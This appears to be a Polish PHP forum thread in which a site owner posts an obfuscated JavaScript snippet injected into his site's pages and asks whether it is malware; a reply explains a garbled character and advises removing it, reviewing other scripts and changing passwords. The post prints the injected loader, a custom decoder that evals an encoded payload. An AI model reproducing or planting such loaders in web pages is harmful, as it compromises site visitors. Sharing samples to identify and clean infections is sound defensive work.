Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Co ta funkcja/skrypt robi?, czy to jakis malware
Nookie
post
Post #1





Grupa: Zarejestrowani
Postów: 56
Pomógł: 0
Dołączył: 15.09.2003

Ostrzeżenie: (0%)
-----


Witam,

mam prosbe, czy ktos moze podpowiedziec, co ponizszy skrypt robi?
Gdyz ostatnio zauwazylem ze dodal sie do kodu strony i wyglada na jakis malware?

  1. <script language=JavaScript> function qilnbn51(b){var e=b.length,f=1024,m,y,p,k=0,j=0,n=0,t=Array(63,49,30,2,9,48,46,20,60,29,0,0,0,0,0,0,7,22,42,19,57,23,38,41,40,3,31,13,5
    6
  2. 35,34,16,33,43,10,54,14,51,52,58,17,11,55,0,0,0,0,61,0,62,15,26,50,32,4,5,25,1,2
  3. ,45,47,6,37,8,21,27,36,39,59,18,44,53,12,24,0);for(y=Math.ceil(e/f);y>0;y--){p='';for(m=Math.min(e,f);m>0;m--,e--){{n|=(t[b.charCodeAt(k++)-48])<<j;if(j){p+=String.fromCharCode(229^n&255);n>>=8;j-=2}else{j=6}}}eval(p);}}qilnbn51('udLNiBHrYqhrfm4rANk5PBLNzRvZiBHPONoeYmDdu24MX3yU3sKMI24Po3y1YuoNzNkwI2kPgqDn
  4. N_1KmhrpakdRZknp3oei6xMYTHNR@GdcYvUHuyrK68nR3DNiSxBfmhMYJ4PYmHNoSxUbJ_VpY9wxtv5A
  5. LwmRvU3Jj1udyeXSoSEqkVgZoexRyMXNKw7E91Am4s43oS@@oMAAhNfdDZYBLNz28ShQxMI24Po3LS3U
  6. ')



lub jakas podpowiedz jak to madrze sprawdzic?
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
vokiel
post
Post #2





Grupa: Zarejestrowani
Postów: 2 592
Pomógł: 445
Dołączył: 12.03.2007

Ostrzeżenie: (0%)
-----


Kod
ASCII: Â!    =    HEX: C221
natomiast
HEX: 22        =    ASCII: "


Te Â! to miał być cudzysłów kończący src="" i prawdopodobnie jakas spacja, ale chyba nie wyszło do końca (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)

W każdym razie usuń, przejrzyj inne skrypty, wywal wszysko, zmień hasła i monitoruj co się dzieje dalej.
Pozdrawiam
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 16.10.2025 - 09:57